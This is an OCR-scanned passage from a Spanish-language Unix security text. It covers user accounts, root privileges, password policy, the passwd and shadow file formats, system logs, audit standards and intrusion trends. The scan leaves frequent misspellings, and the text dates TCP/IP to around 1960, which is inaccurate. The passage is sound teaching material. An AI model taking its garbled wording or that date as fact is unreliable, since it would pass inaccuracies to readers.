También es importante reconocer que pueden existir excepciones para cada
regla. Cuando sea posible, la politica debe mencionar las excepciones
existentes para cierta politica. Por ejemplo, bajo qué condiciones le esta
permitido a un administrador de sistemas acceder y leer archivos de usuarios.
Ademas, pueden existir casos en los que varios usuarios puedan acceder con
una cuenta de usuario comun, el caso mas frecuente sucede cuando varios
usuarios poseen la contrasefia de root para tomar privilegios en el sistema.

Otra consideracion importante se refiere a qué debe suceder cuando la persona
clave del centro de computo no pueda realizar su trabajo por alguna situacion
inesperada. Mientras que gran parte de la seguridad reside en la difusion
minima de la informacién importante para la organizacion, el riesgo de perder
informacién critica aumenta cuando esa informacién no se comparte; por ello
es importante determinar cual es el equilibrio apropiado para el centro de
cémputo.

2.6.2 Red

La principal funcion de las computadoras es la de establecer comunicacion
con otras maquinas para enviar correo electronico, documentos y cualquier
otro tipo de datos.

Una buena infraestructura de comunicacion trabaja de dos modos: permite
proporcionar informacion y tambien obtenerla desde cualquier lugar del
mundo.

En el area de la seguridad en cémputo las comunicaciones pueden ser muy
riesgosas, debido a que corren el riesgo de ser escuchadas por intrusos y sufrir
cualquier tipo de modificacion mientras se encuentren activas. Dado el
panorama anterior, el conectar un sistema Unix al Internet es una accién que
debe realizarse con precaucion.

e Seguridad TCP/IP

El protocolo TCP proporciona fiabilidad, orden y el modo de establecer una
comunicacion entre dos programas que estan corriendo en distintas maquinas.
El aspecto de la fiabilidad se refiere a que cada byte transmitido se garantiza
que sea entregado a su destino (puede suceder que se le notifique a la maquina



origen que el proceso falld) y que cada byte enviado fue entregado en el orden
correcto, es decir, en el orden en que fueron enviados. En el caso de que la
comunicacion haya sido interrumpida, los bytes que no hayan sido
transmitidos, no seran entregados a su destino a menos que se encuentre una
ruta alternativa.

La familia de protocolos TCP/IP surgio alrededor de 1960 como base de un
sistema de comunicacion basado en redes de comunicacion de paquetes.
Actualmente constituye la infraestructura tecnoldgica mas extendida y
desarrollada sobre la que circulan las comunicaciones electronicas. Su
expansion se ha debido principalmente al desarrollo exponencial del Internet.

Dentro de los equipos que poseen una implementacion de la pila de protocolos
TCP/IP, se distinguen de forma mas detallada dos grupos, todos ellos objetivo
de los principales ataques:

- Sistemas: son los equipos que engloban tanto a los clientes de un
servicio o comunicacion, ya sean PC’s o servidores.

- Dispositivos de red: son los encargados de que el trafico de red fluya
dentro o entre redes.

Desde el punto de vista de la seguridad, la familia de protocolos TCP/IP puede
ser vulnerada con base a dos conceptos inherentes a su disefio:

1. El formato de los paquetes de los distintos protocolos:

Ademas de la propia informacion transportada, la informacion contenida en
cada uno de los campos de las cabeceras de los protocolos proporciona una
fuente muy valiosa de conocimiento.

2. El modo de funcionamiento de los protocolos:

Las etapas asociadas a cada proceso en los protocolos, asi como el método
de actuacion en las distintas situaciones posibles, ofrecen informacion
necesaria para analizar la existencia de vulnerabilidades.

TCP/IP esta disefiado en una estructura en capas, fundamentada en el estandar
de los protocolos de comunicaciones que disefio la organizacion 1SO (Open
Systems Interconnection.) Cada una de las capas es responsable de llevar a
cabo una tarea especifica de la comunicacion. Concretamente, TCP/IP dispone
de cuatro capas: aplicacion, transporte, red y fisica.



La capa fisica asociada al medio de comunicacion fisico y de enlace, capas 1y
2 del modelo OSI, incluye los drivers que controlan las tarjetas de red y toda
la gestion de la conexidn entre el hardware y los cables y dispositivos de red.
Los protocolos asociados a este nivel no pertenecen propiamente a TCP/IP
pero son la base sobre el que éste se desarrolla.

La capa de red se encarga del envio y recepcion de los paquetes a través de la
red, asi como de encaminarlos por las diferentes rutas que deben recorrer para
llegar a su destino. Principalmente el protocolo IP, junto a ICMP (aunque
como éste se encapsula en IP no siempre es considerado en este nivel), se
encarga de estas tareas.

La capa de transporte se encarga de manejar los flujos de datos entre equipos.
Existen dos protocolos principalmente a este nivel: TCP, un protocolo fiable y
orientado a conexién, y UDP, un protocolo mas simple pero que no garantiza
la recepcion de los datos, ademas, no orientado a conexion.

Por dltimo la capa de aplicacion gestiona las caracteristicas de las
comunicaciones propias de la aplicacion. En TCP/IP en este nivel se
encuentran numerosos protocolos, como telnet, ftp, smtp, snmp, nfs, etc.

2.6.3 Usuarios y contrasefnas

El uso de passwords seguros es la primera linea de defensa contra abusos al
sistema. La gente comunmente intenta obtener acceso no autorizado tratando
de adivinar, o “rompiendo” los passwords de usuarios legitimos. Una vez que
el atacante obtiene acceso, es libre de rondar por donde sea con el fin de
buscar otros huecos de seguridad para explotarlos y tomar privilegios mayores
sobre el sistema. La mejor manera de proteger el sistema seguro es mantener a
los usuarios no autorizados fuera de éste. Esto significa ensefiar a los usuarios
lo que implica tener un password seguro y guiarlos a seguir esta practica.

e Nombres de usuario (username)



Cada persona que use un equipo Unix debe tener una cuenta de usuario. La
cuenta se compone de dos partes: un username3 y un password. El username,
también llamado nombre de usuario, es un identificador —éste le dice al
sistema quien es el usuario.- El password es un autenticador —se usa para
probar ante el sistema operativo que el usuario es quien dice ser.-

Una persona puede tener una 0 mas cuentas Unix, cada una con su propio
username. Los Usernames son nombres Unicos que van desde uno hasta ocho
caracteres de longitud, que identificaran a la persona ante el sistema de
cémputo.

Un username identifica a la persona ante el sistema, del mismo modo en que
el nombre personal identifica a las personas. En la mayoria de los centros de
computo se requiere que los usernames sean al menos de tres caracteres de
longitud; los usernames que son so6lo de uno o dos caracteres son una mala
idea, debido a que limita la creacion de usernames y puede crear gran
confusion en su manejo. Para el buen manejo de las cuentas de usuarios, lo
recomendable es que la longitud de los usernames sea de ocho caracteres de
longitud.

e I|dentificador de usuario y grupo

Cada usuario en el sistema Unix tiene un username de ocho caracteres de
longitud, sin embargo, el sistema de cémputo maneja al usuario como un
simple namero: el identificador de usuario (UID por sus siglas en inglés).
Usualmente, el administrador del sistema Unix asigna a cada usuario en el
sistema de computo un UID distinto. Unix utiliza UIDs para usuarios
especiales del sistema, tal como se muestra a continuacion:

root, el superusuario, el cual realiza la contabilidad y funciones de bajo nivel
del sistema.

uucp, el cual maneja el sistema UUCP.

daemon, el cual toma algunos aspectos de la red. Este usuario también toma
otras utilidades del sistema, tal como el servicio de impresion en algunas
versiones de Unix.

Los identificadores de usuario son nimeros de 16 bits, lo cual significa que se
tiene un rango de -32768 a 32767. Los UIDs entre 0 y 9 cominmente son

® hombre de usuario



asignados para funciones del sistema; los UIDs para usuarios humanos del
equipo, inician en 20 o en 100. Usualmente, los UIDs son ndmeros no
signados, teniendo el rango de 0 a 65535. Unix guarda la traduccidn entre
usernames y UID en el archivo /etc/passwd.

El UID es un numero, el cual el sistema operativo utiliza para identificar al
usuario; los usernames han sido provistos por conveniencia para los humanos.
Si dos usuarios tienen asignado el mismo UID, Unix los ve como el mismo
usuario, aungue ambos tengan un username y password distinto, de modo que
dos usuarios con el mismo UID pueden libremente leer y borrar archivos, asi
como eliminar procesos que les pertenezcan. Asignar a dos usuarios el mismo
UID es una mala practica de administracion del sistema.

Cada usuario Unix pertenece a uno o mas grupos. Tal como los usernames y
UIDs, los grupos también tienen nombre y un nimero que los identifica (GID
por sus siglas en inglés.)

La finalidad de los grupos en Unix es el agrupar a usuarios. EI administrador
del sistema asigna a cada usuario uno o mas grupos cuando la cuenta de
usuario es creada. Los grupos permiten al administrador del sistema disefiar
grupos especificos de usuarios que les serd permitido acceder a archivos,
directorios o dispositivos.

Los grupos proveen el mecanismo para el manejo de un cierto numero de
usuarios de cierto modo; ademas de poder restringir el acceso a informacion
delicada o a ciertas aplicaciones del sistema.

e Usuarios especiales

Cada sistema Unix cuenta con un usuario especial en el archivo /etc/passwd
con un UID cero (0). A este usuario se le conoce como superusuario y
normalmente tiene asignado del username root.

La cuenta de root es usada por el sistema operativo para llevar a cabo sus
funciones basicas, tal como el acceso y desconexidn de usuarios en el sistema,
grabar informacion referente a las cuentas y manejar el sistema de entrada y
salida de dispositivos.

La cuenta de root no es una cuenta disefiada para uso personal del
administrador del sistema, Sin embargo, el administrador del sistema Unix



frecuentemente tendrd que tomar privilegios de superusuario, normalmente
con el comando “su”.

En algunas versiones de Unix, no es posible acceder al sistema con la cuenta
de superusuario, de modo que, cualquiera que desee tener privilegios de
superusuario debe acceder como él mismo (usuario regular) y entonces llegar
a ser root mediante el comando “su”. Esta caracteristica le permite al sistema
saber que usuario usa la cuenta root, debido a que el comando “su” lleva el
registro de quién ejecuta el comando y cuando se ejecuta. De modo que si el
sistema permite el acceso directamente como root, se recomienda primero
acceder como usuario regular y después usar el comando “su”.

Cualquier proceso que tiene un UID efectivo de O (cero) se ejecuta como
superusuario, esto es, cualquier proceso con UID efectivo 0 se ejecuta sin
chequeo de seguridad y le es permitido hacer casi cualquier cosa. Los
chequeos de seguridad y restricciones son ignoradas para el super usuario, sin
embargo algunos sistemas auditan y registran toda la actividad del
superusuario. El username es s6lo una convencién, pues Unix utiliza el UID,
no el username, para realizar los chequeos de seguridad.

A continuacion se listan algunas de las cosas que el usuario puede hacer:
Control de procesos:

- Cambiar el valor nice de cualquier proceso.

- Enviar cualquier sefial a cualquier proceso.

- Alterar los hard limits para el tiempo méximo de CPU asi como el
méaximo de archivos, segmento de datos, segmento de pila y tamarfio de
archivos core.

- Habilitar y deshabilitar la contabilidad.

- Llegar a ser otro usuario del sistema.

Control de dispositivos:
- Acceder a cualquier dispositivo activo.
- Apagar el equip6 de cémputo.
- Colocar fecha y hora.
- Leer y modificar cualquier localidad de memoria.

Control de la red:



- Ejecutar servicios de red sobre puertos de confianza.

- Reconfigurar la red.

- Poner en modo promiscuo la interfase de red y examinar todos los
paquetes de red.

Control del sistema de archivos:

- Leer, modificar o eliminar cualquier archivo o programa en el sistema.

- Ejecutar cualquier programa.

- Montar y desmontar sistemas de archivos.

- Agregar, remover o modificar cuentas de usuarios.

- Habilitar o deshabilitar quotas y contabilidad.

- Usar la llamada al sistema chroot, la cual permite cambiar procesos del
directorio root.

- Escribir a disco después de que esta lleno, es decir, al 100 por ciento
(Los sistemas de archivos tipo Berkeley reservan el ltimo 10 por ciento
del disco para espacio de trabajo y para el uso del super usuario.)

Ahora se listan las actividades que el superusuario no puede hacer:

- Realizar un cambio a un sistema de archivos que es montado de sélo
lectura. (Sin embargo, el super usuario puede desmontar el sistema de
archivos de solo lectura y remontar éste en modo lectura/escritura)

- Escribir directamente a un directorio, o crear una liga dura a un
directorio (sin embargo, esas operaciones son permitidas en algunos
sistemas Unix).

— Desencriptar passwords que se encuentren en el archivo /etc/passwd o
/etc/shadow (sin embargo el superusuario puede modificar los
programas /bin/login y su para guardar los passwords cuando éstos son
introducidos.

- Terminar un proceso que se encuentre en estado de espera en el kernel,
(sin embargo el superusuario puede apagar el equipo de computo y de
ese modo matar todos los procesos).

Existen algunos problemas con la cuenta de superusuario, debido a que con
ella se puede realizar casi cualquier actividad una vez que un usuario sin
privilegios accede a ella, es por esta razon por la cual la mayoria de los
atacantes que llegan a introducirse al sistema Unix intentan tomar privilegios
de superusuario.



La mayoria de los huecos de seguridad en Unix que han sido descubiertos
suceden cuando los usuarios regulares obtienen privilegios de superusuario.
De este modo, la mayoria de los huecos de seguridad en Unix terminan en
fallas catastréficas en los mecanismos de seguridad del sistema operativo. En
otras palabras, una vez que un error es descubierto y explotado, la
computadora esta comprometida.

Ademaés de la cuenta de superusuario, existen otros usuarios especiales, los
cuales son utilizados para ejecutar funciones del sistema que requieren
privilegios especiales —por ejemplo, acceder a ciertos archivos y directorios-
pero que no requieren privilegios de superusuario. Estos usuarios especiales
estan asociados con funciones particulares del sistema.

Un usuario comun es uucp. uucp es un sistema para transferencia de archivos
y correo electrénico entre computadoras Unix conectadas por teléfono, cuando
una computadora marca a otra computadora, ésta debe acceder primero: en
lugar de acceder como root, la computadora remota accede como uucp.

Otro usuario especial es daemon, el cual es cominmente usado para trabajos
de red.

e Passwords

Los passwords seguros son el primer elemento de defensa contra abusos en el
sistema. La gente que intenta obtener acceso no autorizado al sistema,
comunmente trata de adivinar, o romper los passwords de usuarios legitimos.
Una vez que el atacante obtiene acceso tiene la libertad de moverse en el
sistema con el fin de buscar huecos de seguridad para explotarlos e ir
obteniendo mayores privilegios. La mejor manera de mantener el sistema
seguro es mantener a los usuarios no autorizados fuera de éste, ésto significa,
ensefiar a los usuarios lo que representa tener passwords seguros, ademas de
acostumbrarlos al uso de esta préactica.

A continuacion se presenta informacion importante relacionada con los
passwords de las cuentas del sistema.

A. Passwords fuertes y débiles
B. El archivo /etc/passwd
C. El archivo /etc/shadow



D. Politicas de passwords

A. Passwords fuertes y débiles

Un password debil es cualquier password que sea facil de adivinar.

El tener un password débil representa una puerta abierta para intrusos del
sistema, pues existen programas que utilizan listas de passwords comunes para
intentar obtener acceso al sistema. Las listas de passwords que utilizan
contienen cadenas de caracteres que representan passwords populares, lo cual
equivale a passwords débiles, entre éstos se encuentran:

- Nombres propios.

— Nombre del sistema que se esta utilizando.
— El nombre de la computadora (hostname).
— NuUmeros telefénicos.

- Numero de licencia.

- Numero de cuenta bancaria.

- Fechas de cumpleafios.

- Palabras en inglés.

- Palabras en algun idioma extranjero.

- Nombres de lugares.

— Cadenas de caracteres con la misma letra.
— Patrones de letras o nimeros.

Los passwords cortos son una mala opcion, debido a que existe la posibilidad
de ser adivinados facilmente.

Existen versiones de Unix que intentan prevenir a usuarios de usar passwords
débiles, por ejemplo, si se intenta usar un password de menos de seis
caracteres, el sistema pedirda se utilice un password de longitud mayor.
Sorpresivamente, un porcentaje significativo de computadoras en los centros
de computo no emplean politicas de uso de passwords, al menos existe una
cuenta de usuario donde el username y el password son el mismo, de este
modo, los atacantes tienen la posibilidad de ingresar al sistema simplemente
revisando los usernames; esta es una razén de por qué es peligroso hacer listas
de todos los usuarios validos disponibles en el sistema.

Los passwords fuertes son aquellos que son dificil de adivinar debido a:



- Tienen letras mayusculas y minusculas.

- Tienen digitos y/o signos de puntuacion tanto como letras.

— Pueden existir espacios.

- Son faciles de recordar, por eso no tienen que ser escritos.

— Tienen una longitud minima de ocho caracteres.

— Deben ser escritos rapidamente, de este modo nadie podra determinar
que teclas fueron oprimidas con tan solo ver.

Es facil tener un password fuerte, a continuacion se muestran sugerencias:

- Tomar dos palabras y combinarlas, introduciendo caracteres especiales
y numeros, por ejemplo, pg3@+0-0 6 30Nk$-!

— Unir un acronimo que tenga un significado especial, por ejemplo,
UN@m-F! (Universidad Nacional Auténoma de México - Facultad de
Ingenieria).

Ahora que ya se han mostrado estas contrasefas, ninguna de ellas es segura,
debido a que han sido impresas aqui.

B. El archivo /etc/passwd

Los sistemas Unix utilizan el archivo /etc/passwd para guardar el registro de
cada usuario en el sistema. El archivo contiene el username, su nombre real,
informacion de identificacion e informacion basica de la cuenta de cada
usuario. Cada linea del archivo contiene una base de datos, los campos son
separados por dos puntos (:).

A continuacion se muestran ejemplos de lineas de tomadas de un archivo de
passwords.

root:x:0:0:root:/root:/bin/bash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
luis:x:102:100:Luis Ernesto:/home/staff/luis:/usr/bin/csh
diseno:x:506:506:Diseno Grafico:/home/diseno:/bin/bash

Las primeras tres cuentas, root, deamon, uucp, son cuentas del sistema,
mientras que luis y diseno son cuentas de usuarios.



Los campos de /etc/passwd tienen un significado especial, la figura 2.6
siguiente explica el contenido de una de las lineas mostradas.

Campo Contenido

Luis Nombre de usuario (username)

X Campo de password

102 Numero de identificador de usuario
100 Numero de identificador de grupo

Nombre del usuario (también conocido como campo
GECOS)

/home/staff/luis Directorio home del usuario

Lius Ernesto

/usr/bin/csh Shell del usuario
Figura 2.6 Campos de /etc/passwd

El las primeras versiones Unix, el password cifrado aparecia en el campo
correspondiente al password, sin embargo, ahora en versiones recientes el
password cifrado es guardado en un archivo (/etc/shadow) distinto.

C. El archivo /etc/shadow

La idea basica de este mecanismo es impedir que los usuarios sin privilegios
puedan leer el archivo donde se almacenan las contrasefias cifradas; a
diferencia del archivo /etc/passwd que tiene permisos de lectura para todo el
mundo, el archivo /etc/shadow s6lo puede ser leido por root.

El aspecto de /etc/shadow es en cierta forma, similar al de /etc/passwd, existe
una linea por cada usuario del sistema, en la que se almacena su login y su
contrasefia cifrada. Sin embargo, el resto de los campos son totalmente
distintos, corresponden a informacion que permite implementar otro
mecanismo para proteger las claves de los usuarios.

Los periodos de expiracion de las claves se suelen definir a la hora de crear a
los usuarios con las herramientas que cada sistema ofrece, o bien, se puede



hacer editando directamente el archivo. A continuacion se muestra una linea
del archivo /etc/shadow

luis:LEgc$u6gSI$7e00QR.4RiIHqW:10322:0:99999:7::
Tras el login y el password de cada usuario se guardan los siguientes campos:

— Dias transcurridos desde el 1 de enero de 1970 hasta que la contrasefia
se cambio por ultima vez.

- Dias que han de pasar antes de que el usuario pueda volver a cambiar su
contrasena.

- Dias tras los cuales se ha de cambiar la clave.

- Dias durante los que el usuario sera avisado de que su clave va a expirar
antes de que esta lo haga.

- Dias que la cuenta estara habilitada tras la expiracion de la clave.

- Dias desde el 1 de enero de 1970 hasta que la cuenta se deshabilite.

— Campo reservado.

E. Politicas de passwords

En secciones anteriores ya se hizo notar la importancia del uso de passwords
en la seguridad en computo; representan el primer elemento de proteccién
para las cuentas de usuarios.

El propésito de las politicas es establecer un estandar para la creacion de
passwords, la proteccion de éstos y la frecuencia con que deben ser
cambiados.

El alcance de esta politica incluye a todo el personal que posee una cuenta en
el sistema o requiere un password para acceder a servicios que la organizacién
proporcione.

Para generar passwords seguros se pueden seguir los puntos listados en la
seccion de passwords débiles y fuertes.



2.7 Registro de actividad

Ademas de tomar las medidas necesarias para proteger el sistema, también es
necesario monitorearlo. Al realizar la practica de monitoreo se pueden detectar
problemas acerca de los mecanismos de proteccion u otros tipo de problema.

Unix proporciona varios archivos de bitacoras, los cuales registran la actividad
que se lleva a cabo en el sistema. Las versiones antiguas de Unix proporcionan
un sistema limitado de bitacoras en comparacion con las versiones recientes,
las cuales tienen un sistema amplio de bitdcoras para registrar informacion
acerca de archivos que son transferidos por la red, intentos de usuarios por
obtener privilegios de superusuario, correo electrénico y mucho mas.

Los archivos de bitacoras son importantes debido a que son una forma de
recuperar la historia de sistema, es decir, la actividad que se llevo a cabo en el
pasado; haciendo uso de esta caracteristica se puede obtener la causa de
cualquier problema en el sistema.

Del mismo modo en que los archivos de bitacoras son de gran ayuda para la
administracion de los sistemas, también poseen vulnerabilidades, pues en la
mayoria de los sistemas son guardadas en éstos mismos y pueden ser objeto de
alteracion o borrado. Una buena practica de administracion es guardar los
archivos de bitacoras en un sistema distinto, de modo que si el sistema se ve
comprometido se tiene la certeza de que los archivos de bitadcoras se
mantienen integros.

La mayoria de los archivos de bitacoras son archivos de texto que son
generados linea por linea por los programas del sistema.

Las distintas versiones de Unix guardan los archivos de bitacoras en distintos
directorios, esto depende principalmente de la corriente (SV o BSD) a la cual
pertenece el sistema en cuestion. La ubicacidbn mas comun se presenta a
continuacion.

/usr/adm  Utilizado por versiones antiguas de Unix.

/varfadm  Utilizado por nuevas versiones de Unix, por lo tanto la particion
de /usr puede ser montada de sélo lectura.

Ivar/log Utilizada por algunas versiones de Solaris, Linux, BSD y



freeBSD.

Dentro de estos directorios se puede encontrar algunos de los siguientes
archivos de bitacoras.

acct o pacct Registra comandos ejecutados por cada usuario.
aculog Registra Ilamadas generadas por MODEM.
lastlog Registra a los usuarios que han accedido al sistema y

posiblemente los intentos de acceso no exitosos.
loginlog Registra los intentos erréneos de acceso.

messages Registra la salida de los mensajes de la consola y otro tipo
de mensajes generados por el programa syslog.

sulog Registra el uso del comando “su”.

utmp Registra a los usuarios conectados al sistema.

utmpx Es una version extendida de utmp.

wtmp Proporciona un registro permanente de cada usuario que

accedio al sistema.
wtmpx Version extendida de wtmp.
xferlog Registra los accesos al servicio ftp.
Cabe mencionar que éstos no son los Unicos archivos de bitacoras en los

sistemas Unix, pues existen programas que generan sus propias bitacoras, tal
como los servidores de correo electronico, web, etc.
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Capitulo 3

Analisis forense




Andlisis forense

3.1 Auditorias de seguridad

Existen argumentos de las revisiones que se deben llevar a cabo en un proceso
de auditoria y lo que no, se presentaran algunas definiciones para entender la
diferencia entre éstas y un proceso de analisis forense.

Es la revision oficial y sistematica de cuentas para comprobar su exactitud®.
Auditar es una medida de los procedimientos contra las politicas®.

En esencia, una auditoria de seguridad informatica consiste en medir los
procedimientos contra un estandar, por ejemplo, cuando la SHCP envia un
auditor a examinar los registros de impuestos, éste tomard como base el
cédigo de impuestos vigente y utilizara como herramienta de trabajo los
registros de impuestos: facturas, deducibles, etc.

El proceso de auditoria se vuelve importante para una organizacion en el
momento que se realiza una valoracion de ésta, es decir, la valoracion
generalmente se lleva a cabo a través de un analisis de riesgos; la valoracion
mide qué tan efectiva es una politica y para determinar su efectividad no se
requiere de medir contra un estandar.

Para llevar a cabo un proceso de auditoria es necesario identificar los
estandares reconocidos como los méas adecuados.

e Baselines. Regularmente se lleva a cabo por integrantes de las
organizaciones, ya que requiere de un conocimiento sobre las
operaciones del sistema, se realiza considerando una fotografia del buen
estado del sistema en un momento dado y sobre ésta se realizara el
proceso de evaluacion; un buen administrador debe ser capaz de
identificar como se comporta un sistema en un buen momento:
procesos, memoria, disco, etc.

El concepto es realmente simple, ademas de que es facil de aplicar en
cualquier situacion y que deben tomarse en cuenta las tareas que deben
ser evaluadas.

! Rebecca Gurley Bace, Intrusion Detection, Macmillan Technical Publishing, USA.
2 Alejandro Nafiez Sandoval, Auditoria de red y sistemas, UNAM-CERT, México, 2004
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Cuando un baseline es aplicado sobre un entorno de red, éste debe ser
seguro al momento de medir los valores que formaran parte de su estado
normal e ideal, ya que sera sobre estos valores como se evaluara la
condicién del sistema, los baselines deben ser parte de las medidas de
seguridad que lleven a cabo los administradores.

e TBS (Time Based Security). Este modelo pretende medir la capacidad
de resistencia de un sistema a un ataque.

Mientras que auditar es medir el como o qué tanto se apega un
procedimiento a una politica, TBS permite establecer otras dimensiones
sobre las cuales hay que moverse a la hora de realizar una evaluacion.
En el modelo TBS, la primera dimension es contra la aplicacion de las
politicas, seguridad del sistema operativo, los parches de seguridad u
otras dimensiones. TBS permite presentar escenarios reproducibles en
los cuales se pueda establecer qué tan bien un sistema puede resistir un
ataque, y si las politicas y procedimientos de seguridad de la
organizacion son suficientes para detectar y responder a una amenaza,
antes de que la seguridad se vea comprometida.

Otra caracteristica interesante de la TBS es la habilidad de medir de
forma numeérica las pérdidas potenciales y reales. Uno de los resultados
que se espera de los profesionales de la seguridad es que proporcionen
informacién sobre el nivel de riesgo que tiene una organizacion a través
de su decisiones; para los miembros de la organizacion que tomen
decisiones, muchas veces resulta imposible entender el riesgo si no se
puede comprender cuénto riesgo representa una amenaza detectada, por
ello se requiere establecer el riesgo como una medida o un valor
identificable. A traves de TBS, pueden producirse numeros que
Impacten en la toma de decisiones.

e COBIT (Control Objectives for Information and Related
Technology). Es un estandar abierto, desarrollado para medir distintas
areas que afectan a la tecnologia de la informacion.

Provee una serie de checklist para los distintos controles de una
organizacion. El objetivo de este modelo posee caracteristicas de
analisis de riesgos, también tiene elementos de reingenieria de procesos.
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COBIT es internacionalmente conocido, por ello, una organizacion al
establecerlo, sus buenas practicas de auditoria serdn reconocidas en
cualquier parte del mundo. COBIT proporciona un marco de referencia
que facilita el trabajo de los auditores, asi como de los encargados de
aplicarlo.

e FISCAM. Esta orientada a la administracion de los recursos de la
tecnologia de la informacion y a la conexién de éstos con los recursos
financieros.

Mientras que COBIT se enfoca a las mejores préacticas y lineas de
negocio, FISCAM esta orientado a la administracion de las tecnologias
de la informacién y su conexién con la auditoria financiera, en otras
palabras, verifica la informacion proporcionada por tecnologias de la
informacidn para corroborar los datos de la auditoria financiera.

FISCAN presenta una serie de recomendaciones sobre los controles de
acceso a los sistemas, el desarrollo de software, etc., sin embargo,
presenta una debilidad: los resultados pueden llegar a ser subjetivos.

e CISA (Certified Information System Auditor). Orientada a las areas
de control y seguridad en los sistemas.

Al realizar un proceso de auditoria es importante definir los alcances de ésta,
lo cual no es una tarea facil, ya que de esto depende que los involucrados
participen en los procesos que el auditor evalde.

Al definir los alcances de un auditor, principalmente si es externo, se debe
primero obtener informacion suficiente sobre los estandares validos en la
organizacion, las lineas de trabajo, asi como las funciones administrativas de
cada area involucrada en la auditoria.

La definicion de politicas la mayoria de las ocasiones se lleva a cabo sin tomar
en cuenta que deben ser un instrumento que servird posteriormente para
realizar la auditoria, por esto es conveniente contar, al momento de realizar la
creacion y definicion de politicas con al asesoria de un equipo de auditores.

La experiencia de los auditores puede ayudar para aterrizar conceptos en ideas
practicas y faciles de medir.
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3.2 El problema creciente de incidentes de seguridad

Tal como las computadoras y el Internet contindan invadiendo y dominando
nuestras vidas, el dafio que causa el crimen cibernético incrementa.

Una razén por la cual la industria en tecnologias de la informacion tiene
dificultades en contabilizar los dafios y eliminar el costo del crimen
cibernético es porque existe muy poca informacion acerca de lo que es un
crimen cibernético y como debe ser investigado, ademas de que la mayoria de
los crimenes no son detectados por las victimas y de los que son detectados,
pocos son reportados. ElI area de computo forense intenta manejar este
problema, proporcionando una investigacion computacional cuidadosa y
eficiente.

Los sitios Web son continuamente afectados, los ataques de negacidon de
servicio (DoS) son mas comunes y los sitios e-commerce son dafiados y
saqueados, pero todo lo anterior es solamente la punta del iceberg.

Por afos, las operaciones de tecnologia de la informacion han sido las
victimas silenciosas de todas las modalidades de fraude y abuso en coOmputo
desde dentro y fuera de sus limites de red. Incidentes tal como acceso no
autorizado y destruccion de datos, bombas logicas, hacking y revelacion de
informacién confidencial ha sido un dafio constante que afecta al area de
tecnologia de la informacion.

Los ataques no estan limitados a cierta hora del dia. Muchos administradores
buscan en sus bitacoras registros en horas de la noche, creyendo que es cuando
los intrusos atacan; lo cierto es que los intrusos atacan a cualquier hora del dia,
pues la mayoria de las veces se trata de programas automatizados, no métodos
manuales los que rompen el sistema. Los ataques son lanzados desde cualquier
parte del mundo, pues el Internet no conoce barreras geograficas.

Las principales actividades que realizan los intrusos son las siguientes:

e Los intrusos escanean aleatoriamente el Internet.

e Toman rangos de direcciones IP para realizar escaneos.

e Escanean redes para buscar servicios especificos, por ejemplo, el ftp
service 0 por algun servicio que se haya encontrado vulnerable
recientemente y aun no se haya aplicado un parche de seguridad.
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Una amenaza comudn son los Ilamados “script kiddies”, quienes prueban y
explotan vulnerabilidades. Sus motivos son distintos, pero su objetivo es el
mismo: obtener control de la manera mas facil posible, usualmente de tantos
sistemas como sea posible.

Otra amenaza son los usuarios avanzados, quienes desarrollan sus propias
herramientas y dejan en el sistema puertas traseras sofisticadas.

Con base en proyectos Honeynet y estadisticas, un servidor Redhat con una
instalacion por default era comprometido en menos de 72 horas, en el caso de
Windows 98 con el servicio de compartir archivos activo, era comprometido 4
veces en 4 dias, es decir, en menos de 24 horas.

Una pregunta interesante para realizarse a si mismos es ¢por qué seria mi
servidor un buen objetivo para un atacante? La respuesta es simple, en la
guerra, la informacidn es poder. Con la frase anterior, los intrusos toman toda
la informacién posible e intentan eliminar toda aquella que los comprometa;
como se ha mencionado, existen niveles de atacantes y para los menos
expertos si algo sale mal o no logran lo que querian, antes de salir borran el
disco duro, he aqui la importancia de realizar respaldos de informacion.

Una vez que el sistema ha sido comprometido, los intrusos con conocimientos
suficientes instalan caballos de Troya y puertas traseras (backdoors). Las
puertas traseras permiten un facil acceso al sistema, aun cuando el
administrador cambie el sistema de cuentas de usuarios y passwords del
sistema, el intruso continuard teniendo un acceso remoto asegurado. Los
binarios del sistema son modificados (troyanizados) para que oculten la
presencia y actividad del intruso, de este modo se ocultaran archivos, procesos
y cualquier otra actividad del intruso. Los caballos de Troya hacen al intruso
no detectable, no mostrandolo en ninguna bitacora, procesos del sistema o
estructuras de archivos. Algunos caballos de Troya sofisticados modifican
librerias del sistema y algunas veces cargan modulos en el kernel. Para
automatizar este proceso existen herramientas llamadas rootkits que han sido
desarrollados y publicados.

Los rootkits son un conjunto de herramientas que automatizan el proceso de
obtener el control del sistema, incluyendo la eliminacion de informacién de
bitdcoras relacionada con la intrusion, reemplazo de binarios del sistema,
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implementacion de puertas traseras y habilitan sniffers con el fin de capturar
cuentas del sistema y passwords.

Por ejemplo, un intruso podria modificar el comando /bin/ls y cuando un
administrador liste los archivos de cierto directorio, los archivos y directorios
creados por el intruso no seran listados; este es sdlo un ejemplo de entre las
muchas cosas que el intruso logra modificar.

Cuando un incidente es detectado, regularme se realiza del siguiente modo:

e Deteccion humana. EI personal humano es el més obvio y
tradicionalmente la fuente comdn de informacién del incidente. Un
administrador de sistemas reporta que una maquina tiene un
comportamiento raro, 0 un usuario puede reportar que encontrd
evidencia de actividad no autorizada en el sistema.

Desafortunadamente, este enfoque es de limitado valor debido a que los
incidentes suceden en su mayoria en los sistemas que no tienen activos
sistemas de deteccion de intrusos.

e Eventos externos. Algunas veces los eventos externos al sistema de
cémputo dan cuenta de una intrusion. Los eventos pueden ser reportes
de anomalias (tal como una repentina afluencia de empleados que
trabajen en el sistema), resultados de tests de seguridad informatica,
descubrimiento de informacion oculta.

e Precursores de intrusos. Los signos de intrusion pueden venir de
sistemas victimas. El primer signo evidente de un intruso que asegura
un acceso futuro es la instalacion de caballos de Troya y adicion de
cuentas no autorizadas a los archivos de administracion de usuarios, 0
bien, a los archivos de configuracion de sistemas confiables, tal como
archivos “.rhosts”.

e Artefactos de intrusion. Los detectores de intrusion alertan de
incidentes, y se quedan en eso, s6lo en alertas. Los artefactos detectan
intrusiones y realizan un analisis de las vulnerabilidades, sin embrago,
no corrigen el problema automaticamente.

e Observar el ataque en tiempo real. El escenario final para detectar
abusos es posible al realizar un monitoreo del sistema en tiempo real y
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reconocer el ataque, pero se debe tener la habilidad de bloquear y
responder a los problemas detectados.

3.3 Objetivos del analisis forense

Es importante que antes de dar a conocer los objetivos, se conozca primero lo
